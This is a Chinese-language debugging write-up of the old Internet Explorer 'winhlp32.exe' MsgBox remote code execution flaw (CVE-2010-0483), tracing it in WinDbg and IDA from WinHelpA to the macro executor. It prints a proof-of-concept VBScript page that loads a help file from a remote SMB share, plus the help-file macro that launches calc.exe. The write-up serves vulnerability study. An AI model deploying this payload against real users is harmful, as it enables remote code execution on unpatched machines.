相关资料:https://www.exploit-db.com/exploits/11615/
目的是为了了解漏洞执行的流程。
根据资料准备服务端环境:
用一台win7当做是服务器,需要在win7上共享一个文件夹用于客户端访问。我的测试环境共享的文件夹是www。
(1)启用Guest来宾账户,共享文件夹时将Guest添加读权限。此时在win7本机上应能访问,但在局域网的XP虚拟机无法访问 \\192.168.0.11\www\
(2)运行 secpol.msc 打开本地安全策略->本地策略->用户权限分配->拒绝从网络访问此计算机->去掉Guest 此时XP虚拟机可以访问共享文件
(3)在www目录放置test.hlp文件和html文件提供给客户端访问
html文件内容大致如下
<html> <body> <script type="text/vbscript"> big = "\\192.168.0.11\www\test.hlp" //For i=1 to 2500 // big = big & "\..\" //Next MsgBox "please press F1 to save the world", ,"please save the world",big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 </script> </body> </html>
搜索vbscript MsgBox相关资料
MsgBox(prompt[,buttons][,title][,helpfile,context])
参数helpfile可以指定对话框提供上下文相关帮助的帮助文件,那么就是按下F1时,访问了远程指定的hlp文件
先大致看一眼hlp文件内容,发现了调用了calc.exe
2、客户端测试
打开IE,并用windbg attach进程,然后访问html页面并在弹出MsgBox时,按下F1出来下面的情况:
根据现象,似乎创建了一个新进程,可以通过ProcessHacker工具的Log查看,或者直接观察任务管理器,进一步确认后,给CreateProcess下断定位漏洞流程。
bp kernel32!CreateProcessW
按下F1,断下后查看函数参数,执行了"C:\WINDOWS\winhlp32 -x",创建winhlp32.exe。 但却没有发现和"\\192.168.0.11\www\test.hlp"相关的信息
再查看函数调用堆栈
观察WinHelpA、FindWinHelpWindow、LaunchHelp这重要函数。
根据IDA的分析 BOOL __stdcall WinHelpA(HWND hWndMain, LPCSTR lpszHelp, UINT uCommand, ULONG_PTR dwData)
先给WinHelpA下断
bp USER32!WinHelpA 运行后,重新按F1后断下根据栈上的参数确认了lpszHelp变量指向了"\\192.168.0.11\www\test.hlp"
IDA中F5反汇编USER32!WinHelpA 函数跟踪lpszHelp变量,发现只有HFill 函数操作了这个变量。跟进HFill函数分析。
HFill函数分配内存,复制lpszHelp到该内存的偏移0x10处。
__stdcall HFill(LPCSTR lpszHelp, USHORT uCommand, ULONG_PTR dwData) { if(lpszHelp != 0) { int len = strlen(lpszHelp) + 1;//ebx int s1 = 0;//esi; if(dwData != NULL) { loc_77D4762E BYTE tmp = (arg_4>>8&)0xFF; if(tmp != 1) { if(tmp == 2)s1 = *arg_8; }else{ loc_77D47643 } LPBYTE p = LocalAlloc(0x40,s1 + len + 0x10 );//分配内存 if(p != NULL) { *(WORD *)(p+2) = uCommand; *(WORD *)p = 0; *(DWORD *)(p+8) = 0; if(lpszHelp != NULL) { *(WORD *)(p+0xC) = 0x10; strcpy((p+0x10),lpszHelp);//复制lpszHelp到分配的内存偏移0x10处 }else{ *(WORD *)(p+0xC) = 0; } if(tmp!= 1 && s1 != 0) { loc_77D47682 }else if(tmp == 2 && s1 != 0){ loc_77D4765E }else{ *(DWORD *)(p+4) = dwData; } loc_77D3EE2F *(WORD *)(p+0xE) = dx; return p;//返回了分配的地址 }else{ loc_77D47657 } } }else{ loc_77D3EE3A } }
在WinHelpA函数剩下的流程中,FindWinHelpWindow 根据上面的调用堆栈知道该函数创建了winhlp32进程,并返回了窗口句柄。
SendWinHelpMessage发送消息码为0x38的消息并将HFill函数分配的内存作为lParam。
为了调试新创建的进程执行 .childdbg 1命令进行子进程调试,运行断下后
根据左下角的1表示断在了新进程中。
因为SendMessage发送的不是队列消息,所以要找到窗口的消息回调函数。一般消息回调函数都会调用默认的处理函数DefWindowProc
IDA分析winhlp32.exe,并在导入表中定位默认消息回调函数DefWindowProc,ctrl+x交叉引用找到引用的位置 。定位到了比较有可能是消息回调函数的HelpWndProc
到达HelpWndProc后,继续F5反汇编定位到了这段代码
经确认消息码确实是0x38。下断bp winhlp32!HelpWndProc ".if(poi(esp+8) != 0x38){g}" ,断下后跟进DispatcherProc
用pct命令对实际执行的函数,跳过不重要的函数,定位到了调用_GenerateMessage(0x407u, 0, (LPARAM)v24); 该函数发送了消息码0x407,参数v24包含hlp路径
重新查看HelpWndProc对0x407的处理,定位到
因为hlp文件会创建计算器进程,再对CreateProcessW下断,定位流程,断下后查看函数调用堆栈
ShellExecuteA这个的功能是运行一个外部程序。猜测应该是打开了计算器,重新下断调试进行确认
winhlp32进程创建后, bp SHELL32!ShellExecuteA
那就表示此时已经在执行hlp文件的内容了,再定位winhlp32!Execute下断查看参数
根据IDA的分析 ; int __stdcall Execute(LPCSTR lpString2) 发现参数lpString2为hlp文件的内容 "EF("C:\\WINDOWS\\calc.exe",`‘,1) "。
再定位上层函数ConfigMacrosHde 用IDA进行反汇编
可以看出ConfigMacrosHde函数的作用就是循环读取hlp的内容并由Execute函数负责执行。
继续定位上层函数 FReplaceCloneHde,重新调试,创建winhlp32.exe进行进程时 ,对FReplaceCloneHde下断
bp winhlp32!FReplaceCloneHde
F5对上层函数ExecAPI 反汇编 可以知道FReplaceCloneHde 参数1是一个字符串指针,参数2是指向help文件路径字符串指针的指针
F5对FReplaceCloneHde进行反汇编,ConfigMacrosHde的数据来自v38,而v38来自于HCreate ,v5就是参数2 ppHelp指向hlp文件的指针的指针
打开文件的流程是HdeCreate->sub_1019C49 ->HfsOpenFm->FPlungeQfshr->FidOpenFm->kernel32!_lopen
最后去掉共享,禁用Guest,恢复之前的准备工作。
CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution